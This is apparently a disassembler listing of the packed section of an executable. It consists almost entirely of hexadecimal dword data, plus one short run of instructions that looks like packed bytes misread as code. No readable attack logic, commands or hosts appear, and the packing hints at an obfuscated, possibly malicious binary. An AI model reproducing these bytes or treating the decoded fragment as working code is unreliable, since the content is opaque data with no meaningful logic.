0E1DE5D2Bh, 71DBA0ACh, 50C5481Dh, 0AE21D100h dd 61AFC59h, 1488FA00h, 8B777AF3h, 43803B4h, 0E5B24E4h dd 61C10EADh, 0AA0F3460h, 8F030A2Dh, 0ED12C2ECh, 0E18590E6h dd 4C5E3ECCh, 0FF40C000h, 3EDDB116h, 0FB796900h, 0A39861F4h dd 0E2E100ADh, 0A910FCB8h, 0CC0093E6h, 9CE50807h, 741C685Dh dd 9D4E004Dh, 0E8EBC93Ch, 11006CABh, 0B3C5E213h, 379D8AEh dd 806F6197h, 0FE989E50h, 7438B78Bh, 125E0F4Bh, 0EDAFC738h dd 0C71086A0h, 0B16500D9h, 0D5CAE764h, 0F202D7BCh, 3E8BBEF7h dd 0CF204026h, 0F586588Dh, 8027021Fh, 0F00F64B6h, 770093DFh dd 9018383Fh, 0EEE08B35h, 0C670049h, 5294CDE7h, 310060B9h dd 392A1D97h, 5D75FAh, 0E5A92F85h, 0F3D141C7h, 0B945421Eh dd 0A079AF0Eh, 89DEBE30h, 8B7000BCh, 4F377BB5h, 9600F60Ch dd 0C98EB704h, 25FBD8h, 890F064h, 0C554C70Bh, 0EC72A198h dd 36009374h, 1B81B5B1h, 0C12464h, 0DA0785A9h, 0E850CB75h dd 3C21100h, 74891ED0h, 679F008Ah, 179D0A4Dh, 0D600276Ah dd 0DB9B6C8h, 2633D352h, 0AD0549h, 0F615DA3Ah, 801C225h dd 7E40B606h, 4BE4D44Fh, 2F300017h, 5DBB46B9h, 0C5002202h dd 3E1C033Ah, 0FB8A8Fh, 0F97A9408h, 93BEA885h, 0FDA6FA04h dd 1680392Dh, 0CEA5E1h, 75D0F3B7h, 0C068AFD2h, 9A90E200h dd 0DCB126F7h, 1E7C056Ch, 0C0D33E3Dh, 0AAF21FFCh, 589E4F0Bh dd 63B80377h, 24EF0DAh, 0E0090076h, 0F9ED4125h, 0D81D169Ch dd 0E28ED6CDh, 0B0942366h, 808FE02Ah, 38481F52h, 7B92C091h dd 17985AF5h, 11500300h, 0EDDF12FDh, 946E004Ch, 90411374h dd 3F1F0EA9h, 3600E5D3h, 380DB4E3h, 0B276078Eh, 805DC86Eh dd 9DD40756h, 0AD7A2000h, 0A8FC425Eh, 0AEBF0078h, 12FFDFECh dd 97074A28h, 6985F15Ch, 940551F0h, 4DB8CAh, 0C93DDCC7h dd 4F8E2E40h, 9E00B6EAh, 0EF3E0D81h, 0F5670Eh, 5BB252C3h dd 4D8B4B08h, 0FD421D03h, 0D8CDAA86h, 0EF7571h, 5AC951F1h dd 351B4EDCh, 34855601h, 1FD39BCDh, 538DE0E3h, 742B87Fh dd 0E71CD536h, 0F225E026h, 3A00296Bh, 0CBB6861Fh, 2008EAh dd 6D23295h, 0E1A3CF71h, 6AF76E00h, 6258D596h, 618100EFh dd 0A4C9017Bh, 6D00C8BAh, 0DB1CD342h, 35332Eh, 0A5CCDE48h dd 0B2A9698Bh, 0FEBB8000h, 0DCE97FC6h, 451800F8h, 0E2525704h dd 9C003395h, 0FF63EBF4h, 0F83D94D4h, 0AD740080h, 0CBB0DB48h dd 1E00D16Ch, 0A92997E9h, 1BBBFFh, 0BE4908A0h, 0B7CBC2B3h dd 0E2ED7800h, 67E7A2Eh, 69960037h, 0E3C5751Fh, 62F60D6Ah dd 0C35BE000h, 1324D665h, 748F0034h, 2BCC632Ch, 4677C649h dd 60652200h, 34C0D32Ah, 332D00B7h, 0C54E19F5h, 0BF00AFA1h dd 0C2F962A6h, 0ED7963h, 501ACE23h, 9D14F78Fh, 7375A700h dd 5FA54640h, 0FA0C0051h, 5C5A9423h, 1700397Ah, 74A18522h dd 0B85786h, 49B2DBBh, 2C8F35FAh, 0EA7F4A00h, 9D58EDCCh dd 610D0045h, 0AA8013BCh, 3904DA7h, 140089E2h, 5956E651h dd 391DF62Ah, 0FB9C1Ch, 0A4814FA1h, 86D397BDh, 400DF7Fh dd 0DBE76018h, 7578B6h, 114B5AD0h, 35918751h, 432C9D00h dd 0D75289E4h, 0CAF6003Bh, 0C704C02h, 5002545h, 9CAAC315h dd 0CBEC44h, 0FFCCFEBDh, 486798Ah, 53F7D500h, 2FB3A67Bh dd 4D830018h, 8284AC4Fh, 7600D495h, 0A54216E6h, 7A62E253h dd 5C54009Eh, 0DCEE07BDh, 9500049Dh, 1EEA1F35h, 722D946h dd 894787B0h, 16376097h, 0DF0033FCh, 0C98D696Bh, 761EFD9Eh dd 0EDD70072h, 0F27230Ah, 9300F716h, 9AE5B8F0h, 94A535h dd 3CA4BA36h, 0EDCD8B0Ah, 6B2E7E7Eh, 0E41E4999h, 0ABEFFA00h dd 619A66h, 0CC255EC4h, 221F59F9h, 317F4500h, 2CB87BDCh dd 0B6C000CFh, 0E2C634E8h, 5E007703h, 0D0423C67h, 0B18D63h dd 834186C7h, 1D766B88h, 624BA300h, 0DAB5BD5Dh, 5FCC8h dd 279FDFFAh, 9ACB36C1h, 0C74A9C00h, 48DA2950h, 0E3970FD7h dd 82204756h, 8FCBDCD3h, 75029375h, 4D2C3621h, 7F17E192h dd 518D070h, 0FBF0AFCDh, 0DCEBC051h, 0C30612C8h, 0D815E374h dd 11F2017Ah, 8020FC43h, 49F4E80Ah, 75F19600h, 5D5C16B6h dd 99EC31h, 0BA22368Eh, 0FBE78A93h, 5300DB78h, 7ED3C52h dd 67D26Eh, 37590E5Ch, 0EB219809h, 2EEF8F00h, 0FB248453h dd 30A80081h, 2A67FA1Fh, 70015960h, 0D133F7FFh, 0D1601CACh dd 6FF03Dh, 2C3C779Fh, 1642BF5Ch, 2F670607h, 5BF0C065h dd 7EA199h, 0E02953D3h, 276EE298h, 0AA009E7Fh, 51B5F779h dd 0EAE4A6h, 0F6105A68h, 5464D433h, 0B196CD00h, 0D27A09Ch dd 0B5AB02F8h, 0B8434839h, 97889683h, 49FE5AB8h, 47C7EC00h dd 0A8776F68h, 0CAE13EE8h, 45ED6D01h, 0ECC3F6B7h, 0A1003F22h dd 680A9DFDh, 4EDFA3h, 0EEAEEA16h, 122602C5h, 7F781500h dd 9F2F505Ch, 79F900DAh, 657BD58Fh, 2A00A3E6h, 0A6A76FA8h dd 14F05F39h, 97147115h, 0A530300h, 0AE3B6BBFh, 0BBB6C100h dd 0A080C3F8h, 1362CB0h, 212E00F3h, 0DCEC11D3h, 5EF90D00h dd 74657C9Eh, 3A770Bh, 822D7BFh, 79D2F2E7h, 0A9CDC900h dd 6B6C7EF3h, 0C2860082h, 0D7446EB5h, 98B892CFh, 0CC2C01F4h dd 0D078035h, 8BB0974Bh, 0E231900Bh, 9EFB03ABh, 1224A110h dd 2D477380h, 0CDADFA00h, 2879C6DFh, 0B1FF1C0Fh, 2178094h dd 5C3A2582h, 0FAE13Eh dd 2ECB2A38h, 1CADB872h, 4068EE9Ah, 8D2D7BCAh, 0D901E0EDh dd 0C66F1074h, 0FE600FD4h, 5F6D00A5h, 53B07F2Bh, 0DA00BFAEh dd 3467564Eh, 0E73EB6Ch, 0BBCB1BF3h, 0C5A0B82Eh, 9231114h dd 9932DB00h, 92519F6Eh, 7F0C0097h, 0B8C2DA3h, 0FD0083D8h dd 0F5F7377Dh, 75CE3Ch, 0CAE8F6DDh, 52255727h, 0C086F800h dd 66A50540h, 49D93C12h, 38170780h, 54975F5Dh, 0CCF4601Ch dd 0FAC2FE80h, 0A97FC5h, 0F1B9D3ADh, 69AAF61Fh, 2A5530Eh dd 77F92025h, 0B85F75CAh, 824900DCh, 430AD38h, 9D00E739h dd 8A4E8647h, 3EC3190Dh, 6D802DB3h, 0AB73F898h, 9600C17Eh dd 713E1654h, 7FB10882h, 0B8780041h, 0FD1C438Eh, 93009995h dd 0D24677D1h, 1987D2Fh, 5063BE0Eh, 0FC241FE2h, 23015CF3h dd 31B2E96Ah, 0A9F8B7A7h, 3CA0E88h, 7B41A30Eh, 80B119FCh dd 446D4E2Eh, 3A9532CFh, 9C077DA5h, 0B0D68AA3h, 206ED2Ah dd 981CBE00h, 9791DB77h, 6E1E00F5h, 180C8967h, 6205C365h dd 7C45AEB5h, 549CA480h, 382CB0EFh, 0FF0058FEh, 183E37C5h dd 1E50CA4Bh, 4D035FE2h, 56BDDB5Ch, 0E793C8FBh, 40AA00A1h dd 0D8299178h, 0AE004184h, 71C209E6h, 54F07Fh, 47A1EDB4h dd 1FDA33C6h, 8C835B00h, 177F19D9h, 78BA071Dh, 101A6F4Eh dd 0A8C0ACDDh, 1186EA07h, 37F028E3h, 15AA67h, 0FB88F42Ch dd 1C83F37Bh, 0A9E3B00h, 0A94472DEh, 23390086h, 0FC6A1A4Ah dd 85008926h, 0CD2DA076h, 399AFB1h, 0DB9C30E1h, 0AD90CF39h dd 4700C0E2h, 1506BDDAh, 3B1286AFh, 8E1332BBh, 442300E5h dd 2BBA8AF3h, 73BE4E00h, 17DAE3EDh, 0C10F00A4h, 35242F5Fh dd 76006853h, 9497CE2Ah, 713087h, 0B2855022h, 0BEE64611h dd 5E53A000h, 0F935566Dh, 64520372h, 216917A3h, 11E68BF0h dd 70348600h, 5184C661h, 9E8703F8h, 37A7DC47h, 85BCD989h dd 1111874h, 303D70Bh, 0D0199353h, 0C723C3h, 3683FC2Ch dd 0E563125Bh, 2E7B8A00h, 80B572D4h, 0E77900E6h, 6A43C23h dd 0C300B2D3h, 0C4210260h, 1F0A26B6h, 0BF16ACh, 0D284DA36h dd 0D41C042Eh, 0E21F6E22h, 1057EE40h, 9CE07h, 0C3217614h dd 0EB51BACBh, 6B73A000h, 7A74C513h, 99280156h, 0FCA8099Ch dd 16A4C8BEh, 0E09A7000h, 81403852h, 1B2100C5h, 0ADF5EF5Bh dd 7D05A8CEh, 3A47ECA2h, 1E618100h, 7902A0C9h, 0CA690E93h dd 0A8009E0Ch, 0C23CFE5Eh, 75169900h, 14A08736h, 0F1A30017h dd 64F91FCEh, 0DC00D969h, 7398F2CAh, 35F6229h, 728AF4ECh dd 0C0B0F374h, 0E1052D1Eh, 2C9BCC47h, 6F866DC0h, 0D6B900FEh dd 0FDD804F3h, 8300983Dh, 246A58AEh, 0D09A91h, 7C35B837h dd 739F9593h, 230BD71Ch, 0C92DE783h, 0B87E0026h, 122C3879h dd 3D3FBD2Fh, 3B1E4C80h, 17C600B4h, 3285D724h, 0D5B8DDh dd 0ECD0BF3Ch, 0D309C993h, 7F29FF00h, 0CF80A0F8h, 829600DAh dd 670E2F74h, 27002A10h, 94C3D344h, 0B77F26h, 3E4933D4h dd 5EDB6325h, 5C342D00h, 74628913h, 9FE5E59Dh, 4616ECh dd 454BE4BEh, 0E2B35575h, 4139D900h, 27D79F8Ah, 0F2E02442h dd 486C034Dh, 23A046A2h, 0E7009BA9h, 0BE1BD180h, 0C33354h dd 8DC15547h, 8E6639CCh, 0B7000173h, 7485AE9h, 0B3DCE6h dd 41BD5CAEh, 2111313Ah, 2817B600h, 0F84D79DFh, 86C3CF9h dd 0EBA34600h, 7DAB3A6Ah, 5133DC00h, 0AAD95EA7h, 4FC9008Bh dd 7C3B6C38h, 9500F591h, 7E1A197h, 0EE0433EDh, 7D9796Dh dd 5A4E80A3h, 0CD1A57h, 0B3901DFDh, 0E707C67Bh, 0EBF469EAh dd 0F5DAABF0h, 0FF4B1D04h, 0BF2F8098h, 0F860C731h, 0C2009774h dd 12D8056Eh, 5046CFh, 0B559C59Ah, 689CFF0Eh, 0F978DB0Eh dd 47F8610Dh, 12F4C60Bh, 0FB2033Bh, 0DDED3752h, 6074E2B9h dd 9D7299FEh, 0D000C870h, 0D92709E3h, 192F32h, 726A4DBDh dd 0D7C5F5CCh, 0CD75B9FEh, 8FE2963Fh, 0A006DCF6h, 0D94127A9h dd 5CE800E6h, 31762932h, 21008A89h, 30E3CE0Fh, 7FAE4Eh dd 0A3755D6Eh, 0E5320A18h, 0C81A7A00h, 7CFCE48Bh, 2AB20097h dd 6C86BB4Eh, 5D00F078h, 0C84B9A72h, 7174A410h, 171B0027h dd 5B070899h, 3B00D1BEh, 0C90DE5C4h, 0F0D3EF43h, 0CB453D7Dh dd 0D066D786h, 0E37CD2C0h, 0FA00C275h, 2246BB63h, 0F9F3FF2h dd 0D4286085h, 0D15BCA20h, 77007DC8h, 4AAF2315h, 94572Ah dd 0DD60169Dh, 8728145Ah, 26556B00h, 4A6F3781h, 478B000Ah dd 0E6EADC01h, 0B100189Fh, 851992E7h, 6089D5Ch, 0CCD00E5Bh dd 0EF00BE76h, 0D8578115h, 8F4974h, 0EDB8F0DFh, 0FE35D30Dh dd 9A802500h, 7509698Eh, 1E100387h, 0FC0DA060h, 0D8828898h dd 0F4E03700h, 0FDF60861h, 0BECA01E5h, 62763BD2h, 8AFFDCE3h dd 0D4DE8C00h, 6A6FEE4Fh, 0B1110084h, 4B5643FBh, 9800426Eh dd 998CA941h, 14671FAh, 94C5A405h, 0D0A33109h, 75004DFBh dd 7A6CB06Eh, 76676h, 3A12DD9Fh, 0B1F57ADh, 7B9A6100h dd 7FE8C9AEh, 5CF37D22h, 0C75818A0h, 41902700h, 36F56940h dd 0FEBFE501h, 24C17984h, 55BEF8h, 0CB129D53h, 0F092153Eh dd 66F3F200h, 248EE303h, 1AFF0073h, 679BAEE8h, 760778A1h dd 579831CDh, 825E5070h, 0AA28005Bh, 3A3B1673h, 810FED8Ch dd 16979C5Fh, 4F2A9000h, 14C72105h, 0C34BA319h, 0E145BA00h dd 0AC62CDD3h, 10357FAh, 698C4A74h, 336CE9B3h, 8BA6C0h dd 7B72474Dh, 6238EE70h, 0A8BA1703h, 0F08C85F9h, 3E32A56Dh dd 0A680E8AAh, 0DD3D26C4h, 0DB00BEAEh, 0AF637503h, 345D9FFh dd 720F9FA0h, 8193E276h, 90554ED0h, 389B24h, 7CC0EB1Ch dd 7E7A3A0Ch, 800A00DDh, 0FD9FF44Ah, 9E0757E6h, 0F3DB5E81h dd 6F950FB0h, 0AFC50018h, 0B554C0DCh, 7003EE1Dh, 0A623299Dh dd 0D032F0F4h, 0D3D8002Bh, 0E23E2533h, 0B500E453h, 0A7CDB185h dd 9E8477h, 220AC50Dh, 58A55CE3h, 0C86A8A00h, 0B675CC4Dh dd 0F7BB0002h, 0B084CAEBh, 0C00010E3h, 0BF2416CFh, 758083h dd 0B5D0917Bh, 0CE08B3Ah, 85012679h, 5A37F9F4h, 0D5C0D67Dh dd 8BFA0F0Bh, 0B403AEF3h, 8EC80EE7h, 0FD0006ACh, 158FE65Ch dd 0DA1043h, 4058C30Fh, 0A7A5C876h, 1C9DC07h, 7BBECBCh dd 71089C0h, 0CAE0A1h, 5ED9E598h, 34DCAA39h, 0C73ECF09h dd 99E2835Ah, 0B2DDF894h, 0ECAB090h, 1005AFC2h, 0A5BA820h dd 2C760684h, 0B94E4800h, 0A73897E8h, 15160094h, 0F1C7C50Bh dd 0B600B551h, 0F9B72FD9h, 233BE1h, 0C98899A2h, 7BAFDC83h dd 1E8E8B1Dh, 0C6A5CF40h, 72BF9Eh, 952434EFh, 53062CE3h dd 86B2FB00h, 54DE3DF1h, 8D2F48C9h, 4699F000h, 6E4E1D2Dh dd 2E9B6300h, 5230FC7Ah, 8BE90028h, 7301B53Dh, 0EA002FC5h dd 65446ED8h, 3829BEh, 0F694B78Ch, 6A0A0C61h, 4F245703h dd 80B3D5FEh, 59501Fh, 85866DF7h, 0EFC11340h, 5D03877Eh dd 8BBFB73Dh, 0AB2AE838h, 972600AAh, 0EB1E29F3h, 0C10033B4h dd 9F045222h, 0EA7C283Ch, 0CC090040h, 91DCA362h, 950018E0h dd 92FDD33Ah, 699D76h, 0C8500C52h, 6F89F437h, 6A4FF100h dd 7E1DDBA4h, 0BCD600B8h, 0A1DFFB6Dh, 0CC70E8C2h, 0DA32D30Fh dd 11BB406Bh, 1D3E2F94h, 0C1605D55h, 992A3C0Ah, 8CD4808Bh dd 0F96ABB9Dh, 0BC3E00D7h, 1BECE819h, 861F536Dh, 6D6E689Ah dd 0A40D01Ch, 3EF80EBEh, 0E95A03A4h, 0BA376DFBh, 57C392A8h dd 7DB5300h, 2671F028h, 852A000Eh, 8A4F481h, 0F9000AB5h dd 78FBA8CAh, 74E6322Dh dd 0A2AD005Bh, 15AAD065h, 621CEC47h, 0FF80538Ah, 0E4E02211h dd 0C0EFE14h, 0B5F6170Ah, 8A009262h, 182AD796h, 0DF6DF9h dd 3C058021h, 2EA17967h, 7FEBC700h, 445749CBh, 550B005Ch dd 0C4E3F0F6h, 0B300AAE6h, 0E788DD31h, 44CD22h, 6FE2D247h dd 0DA49587Bh, 0CABF5B00h, 6B86FE2Ah ; --------------------------------------------------------------------------- loc_43005C: ; DATA XREF: .packed:0041A720o mov edx, 0D8C4E400h push cs db 36h and al, 0FAh push ebp cwde inc esp add [ebx+132A5369h], ah retn ; --------------------------------------------------------------------------- db 0DBh dd 0F2583F85h, 6F75E000h, 0EB5D4CDDh, 0F9002DE8h, 5C7AB42Fh dd 0F465D6h, 0F85FC505h, 0B3C7510Bh, 7180CEC6h, 0F6A200F6h dd 0F5D3FEADh, 8100CFBEh, 0CE21ED68h, 2EDF420Eh, 3D0487C4h dd 3D82FA83h, 0F9E0761Bh, 5E001674h, 376FA383h, 0FBCF026h dd 7E1331B6h, 0BB542CE0h, 0AC07FF1Bh, 0FB938178h, 29925AC0h dd 27F400BEh, 4474E808h, 6F003013h, 418180A0h, 15053Eh dd 24076529h, 0C2AA75A6h, 71AE6A00h, 93CA68C9h, 0C5790Ah dd 53CB262Fh, 8FDD5B2Dh, 2BF98300h, 73A77E6Ch, 0DC371EE1h dd 0A11680C8h, 0BB27B876h, 9ED0C203h, 98567C13h, 3DBCCE60h dd 0A080C95Ah, 0FCA4D1ADh, 12005EFBh, 8363BB59h, 3A81CDEFh dd 0DA1811E3h, 7DC5242Bh, 8930AF00h, 98234065h, 1F217655h dd 47C3A3E0h, 7018E62Ah, 0C776FEACh, 44C0CB0Fh, 23A900D4h dd 513D33h, 98D717A2h, 0B3F4C4FFh, 74001DEEh, 7AB2120Ch dd 967DB6h, 0F8BAD76Fh, 0B4BCBBDBh, 2C21B000h, 0FF059519h dd 0D6710074h, 6185DDCCh, 1E1F03E2h, 0C980F856h, 0A4045B47h dd 0FD1F03EDh, 0D58428A8h, 410D7FC8h, 13F3C003h, 0A071777Ah dd 0FFD133h, 0AB571A37h, 30CA8E3h, 10C43A30h, 3E05BEE0h dd 0BC80EC40h, 3E46C176h, 6E077CBAh, 689FEB6Fh, 9EE2FFD0h dd 900D006Ah, 2A969965h, 80002707h, 0E5497879h, 5CB95803h dd 56000166h, 3FBAF11Eh, 6A1D8EC5h, 0C181DD55h, 0C07BE5D2h dd 0EF108D0h, 23A37687h, 80148E64h, 0F5DB7368h, 6C486900h dd 411DB8F9h, 82B30021h, 0F20360B9h, 0EA3DCD91h, 0AA4380CFh dd 741772BEh, 0C77A0079h, 76E58DB1h, 9B000FF4h, 27CF4D75h dd 60BD2Fh, 54AB2E33h, 0E93AC190h, 75E8120Fh, 73FC608Ah dd 0F6A081Ah, 0F94B321Fh, 0A0F13F02h, 0EC188AE0h, 245E6400h dd 0EEBCB412h, 40940007h, 5F38A292h, 2D0095A6h, 4954E3F2h dd 36DCB8h, 0BFEFAA96h, 0D4B2D2F7h, 7600D070h, 34EE2550h dd 23113Eh, 6FFD8A3Ah, 46D05AFFh, 0E3006A79h, 6B7C5630h dd 862874h, 65CAD3ACh, 374DD49Bh, 83B32907h, 9D20C0DFh dd 3D343Eh, 41BF0C96h, 7DC953C4h, 3300EEF6h, 668BF711h dd 0E3DEBAh, 9EB6916h, 85FAD2D4h, 0AB368000h, 0FF125C77h dd 4B3C00E9h, 49633FB4h, 7EECFE0h, 43AA500h, 0EDB1BB6Ah dd 0DB5B076Fh, 0D0DAD83Bh, 0C667B38Eh, 975F2B0Eh, 0B84A4031h dd 3B6011h, 87C1DDCEh, 4415E610h, 0C0EA400h, 0A7271E0Dh dd 0DFC65CF8h, 0FA8CA07Ah, 1F890049h, 0B087CA70h, 7748FF6Ch dd 0FC8100F5h, 9C05F9B8h, 4F5500F0h, 3AA8740Bh, 6009DA64h dd 9505CD2h, 9A4D0011h, 17E93Dh, 4F04CE59h, 0F3BB86FFh dd 0E4002F7Ch, 6C4064ABh, 774B24E6h, 0FCCD00CAh, 1DBF2EF9h dd 9003ACDEh, 723A3891h, 644FD154h, 2D85BF4h, 0AB961DF2h dd 0C98068C7h, 73997D8Dh, 80820B3Fh, 0A40EFEB2h, 76F1BC24h dd 0BE7F00FFh, 0C32C660h, 9B3F6A38h, 22570071h, 7A1E76FCh dd 3B230013h, 0C48086FDh, 0EF00815Dh, 85A0A47Fh, 0EAD5473Fh dd 0F5FA0072h, 493A554Fh, 417C60C7h, 7DBA9500h, 80A11DACh dd 397F68Bh, 0D3737128h, 7909A72h, 0D90E0959h, 0A0DB5FE9h dd 0B6C46118h, 0ABB200A8h, 9F74A20Eh, 0CE00AE03h, 4EBEE936h dd 0BF51E3E2h, 81DFB800h, 921E8AB8h, 0E7005FE1h, 95384878h dd 0A9150037h, 912B4961h, 4100D429h, 9D7EA74Bh, 0ED54A25h dd 0B2A66943h, 0C09EDF80h, 470E7772h, 0E0CC072Ch, 94BC76BFh dd 6AE50032h, 43049B67h, 82071B97h, 0C51016B4h, 0F6E604Fh dd 5F6B71h, 2211FCFh, 0BEDA7624h, 4BED8D00h, 0BAA8A620h dd 2429770Dh, 1AA234h, 5823171Eh, 9B1E0837h, 0F8804222h dd 0B81C2196h, 0CC6F2ECDh, 53003BFAh, 0D0E0B14Eh, 0ED00A755h dd 61089DC9h, 7BEF80B3h, 0C7930096h, 0C821C3F4h, 881CBFCBh dd 0AD802428h, 0E106B36h, 0EF530948h, 898096EEh, 2DE098D6h dd 0F3C90100h, 0A8E6037Dh, 0E1A000C7h, 0DA6EA7E7h, 0AEB0DB2Fh dd 9800CBE4h, 0CE75EDEFh, 9ADFDBFh, 3810BD8Bh, 0A9A5B880h dd 0F0E2A0D6h, 1F55B00h, 0E404B2C8h, 61880191h, 3CACEF67h dd 0DC6BE080h, 578ACA00h, 0B4CB21E1h, 64520F2Ch, 46C007C5h dd 96970BDFh, 3300C2ECh, 0E278D951h, 0E0A7F2F8h, 169D0126h dd 0C6C5B364h, 0EA6FC4FFh, 4200BAE2h, 60DD344Dh, 0D548F1h dd 5C3E828Fh, 0BFD3575Dh, 0B0D66301h, 9034B175h, 16D7B760h dd 122F648h, 2A4631BCh, 3D8BC4B3h, 0BA096EEEh, 80CFF853h dd 0F7CC6CC4h, 0BEA70116h, 0FE6BDF71h, 5F67DC4Eh, 27D63500h dd 1E897DF8h, 6FF24Bh, 41D2768Bh, 5CAE0D30h, 0DB037500h dd 0B63BC39Dh, 22260058h, 0EE692C28h, 543DDD35h, 0D8B500CAh dd 1C5E2A8Eh, 7AF5098Fh, 1E807469h, 4766CC8Ah, 34007DF2h dd 0B9F637F4h, 3F768575h, 12001704h, 10824F4Bh, 0C800E61Eh dd 5062349Dh, 22643Ch, 841A9E25h, 0B28DE1BFh, 36CD6D07h dd 0D5C0AA4Dh, 5D138Bh, 0BCF3CAE7h, 5B620CBFh, 5AF4C000h dd 0E6AFC618h, 68C300A5h, 0BD1A288Bh, 5F1C1EC4h, 0A2403081h dd 3CBFF2CCh, 153E00F9h, 1AA16AD9h, 0F0030504h, 0D775BAAh dd 0ADF8B871h, 0D309003Ch, 5AAFE1B4h, 16000C30h, 63EB8FA0h dd 0B88D9795h, 3F1C0045h, 0DB98617Eh, 69FE30B9h, 0AF046E90h dd 41925D2Dh, 543B3580h, 148100A2h, 69CD79CFh, 52EED729h dd 589CF600h, 0A6995413h, 12CA0E7Bh, 8040B7B1h, 21D091ECh dd 7D1D3871h, 63CF34FAh, 0D855C3C1h, 0FC1A98A0h, 204A1FFFh dd 42470033h, 7258E494h, 9690E900h, 349FAB6Ch, 3E218h dd 0F4DE27A8h, 41C17915h, 81E4973Ch, 9155844Bh, 81EC9DE1h dd 0A9E500BEh, 856D1E4Ah, 9003511h, 4932C8EDh, 1FFF5B98h dd 8052C755h, 0E5CD27FCh, 7D00A863h, 6D5D3780h, 7B39B9h dd 9C0CFB1Fh, 5776B405h, 0EB32D91Ch, 0C5CA2480h, 931390h dd 0DDC9EE1Dh, 105FAC6Dh, 0C3B28100h, 377CC85Ah, 0DF2100F9h dd 2D6D3EE9h, 0A10F201Dh, 6061FD75h, 0B6E88EDCh, 2EF56076h dd 8208089h, 24000DE0h, 0C15E7F50h, 0FB49E8Ch, 594C7E69h dd 0E03C7760h, 2A0FE178h, 80EAAFh, 92AAE8A0h, 68E60769h dd 40CD023Dh, 8126E338h, 96ACDD00h, 1C257494h, 3CB745Fh dd 6E38ADB6h, 93E003BBh, 420034F3h, 3F991B23h, 0A0A3E0h dd 7678C25Ah, 0EDCF4BF7h, 8A10BA1Dh, 0A20066E6h, 0B101C812h dd 6F0EAh, 2645E3F9h, 0D5EEBEDBh, 0B272B403h, 0F8033E95h dd 52E06Ch, 0AC23AE12h, 81C41E1Fh, 0EB8E1D02h, 0E02EFDF6h dd 0C3C8C7h, 6A2BAA73h, 4D994907h, 0CF8A6F00h, 4865E811h dd 0E55007F9h, 71BAE382h, 7FDEC447h, 2418F700h, 7DEB5C15h dd 1E9F2B2h, 0B7A0BD46h, 0FD29CB37h, 28C0D057h, 395D5001h dd 0E2DF2B1Fh, 49D7F8h, 0C5F65667h, 0FD26177Fh, 79535E00h dd 0A4B314CEh, 4D1F00DDh, 0B297C22h, 6A00F40Fh, 0C2DE761Dh dd 0E3C9A64h, 31AC2B98h, 500F7D80h, 0DA003584h, 22703009h dd 0C3CAB6h, 4913C177h, 58440662h, 153BB300h, 66502ED6h dd 0D8AA0061h, 299CF851h, 36006AC2h, 0D79A41B3h, 98329Dh dd 9EDC49A8h, 2FAA7D1h, 0BDC8BB00h, 5DE34FE9h, 928C0FE0h dd 0D347DE53h, 638860B0h, 6800BB7Dh, 0FE453D15h, 998625h dd 410BCBB7h, 6BA63CD3h, 80AAFB3Bh, 10EE33CFh, 0B8C4AEh dd 0E1693B97h, 475927FDh, 0C9130601h, 99B484D5h, 492830h dd 8595F7DEh, 794C5EF4h dd 0FB6D3C00h, 27EF9C7Ch, 0C47D00D8h, 1CF03D04h, 620037F8h dd 0E5BD6DD3h, 0E4C0E55h, 0F1A1EBE6h, 1AAC2640h, 0F5014595h dd 2B12CF67h, 7D600203h, 0B50700EBh, 7A46E27Fh, 0D500BB26h dd 0E745AA90h, 30A10EFh, 0A59CA168h, 1DE86BBDh, 0F900972Fh dd 22DDBC9h, 1CDEAEh, 6848242Bh, 1428383Bh, 0A84D2C00h dd 25FFF035h, 0FB0F0087h, 1A6EAAB4h, 8F00DFBAh, 4959C27Dh dd 0AF26A0h, 0B50EF0D7h, 5FEF9A09h, 0A1B83B00h, 6BD1C636h dd 794601C7h, 0A27B1DD4h, 0CBBF3002h, 2C95D226h, 0C5180Eh dd 0E587247h, 641D0359h, 0AA4BD684h, 60F597A7h, 0FCFA9857h dd 0E6E97100h, 914D1BC4h, 52BB004Eh, 1065CA76h, 1301BC89h dd 0CF986D0Dh, 2C8203Fh, 0B5F20056h, 0F0283252h, 0DB00EA9Bh dd 2ECDE7A5h, 34251Dh, 9F70D93Ch, 2A11E019h, 55719600h dd 681EDD6Eh, 8A283AA3h, 91D39B00h, 3E3C30CDh, 960AEE01h dd 0F9DE71D6h, 0D1DE70h, 588BE635h, 517D8843h, 55224000h dd 9777D326h, 2AE20066h, 0F29DA3B2h, 0EE76CDFFh, 8C2F5007h dd 812EC1FBh, 9C25BDD8h, 9A86E0FAh, 0CAAA00E2h, 9EEE2034h dd 37006248h, 3F02E0BBh, 926DC0h, 222EC8D7h, 0E7CF683Eh dd 0C1002D79h, 1860810Dh, 76CEAD86h, 0FC400719h, 40E0B080h dd 0B131EF16h, 0F5FE9D0Eh, 0B2E26071h, 0E8937509h, 0C78007F7h dd 0E06F1DCCh, 317AF0CDh, 1FE2DE09h, 510680A5h, 0B07EFh dd 72DC248Ah, 0DBC04CFh, 0C7526000h, 356DE8D6h, 0B2E41FE5h dd 23D0808Ah, 0ABDF03C8h, 0E7BA7412h, 17E98C00h, 3F1D4AC2h dd 100002E2h, 28D58803h, 0BC005145h, 41C5C08Ch, 0E13B0Ah dd 0A952B7A6h, 0B888FB2Ah, 4DDB2C17h, 0C5DC5D00h, 0EE9EEAFh dd 923FFDA1h, 0B35A3360h, 0C600898Ch, 0F35D49F0h, 0DE526Ah dd 5EAC8E44h, 5B7B3676h, 0F013A900h, 0EAF4375Ah, 0CF4526EFh dd 9E7F0381h, 3689EC73h, 11ABD438h, 149083Fh, 21BF325h dd 8BF0860Fh, 27D400CAh, 37E4AA2Eh, 49004AABh, 7095FFD7h dd 0DBF472h, 0AFDEAC10h, 84D4B473h, 311DEC03h, 0D871BCABh dd 3FC45FBh, 0E9B21B34h, 86E0149Fh, 43006A8Bh, 79EA4963h dd 3D4B6467h, 7082515Ch, 6E270976h, 0FC839EE0h, 15E0F900h dd 7F32862Eh, 4FA30051h, 502F68AEh, 5FEAB581h, 0E8E53900h dd 586FB3BDh, 386100EAh, 341BC00Dh, 150186E6h, 0BE2A2BC2h dd 4DE4A45Ch, 3E5D07D4h, 14681Ah, 71CD2CF0h, 72A11900h dd 8EB52E7Fh, 14B0057h, 0D5F117C2h, 95007411h, 5EB3CB9Ah dd 4293FEh, 6643BAC5h, 73C22A1Bh, 7D02EDE6h, 2B9CD8DAh dd 83D940BEh, 0B4E6BBh, 2188051Dh, 3C4FBA7Ah, 57DD3Ah dd 0A7740623h, 0B2BC44h, 65BFEE36h, 8020ED3Fh, 915E0817h dd 0DFA20E07h, 0CC673AC0h, 8395004Ch, 315AE09Ah, 0E1E08A42h dd 0E6003378h, 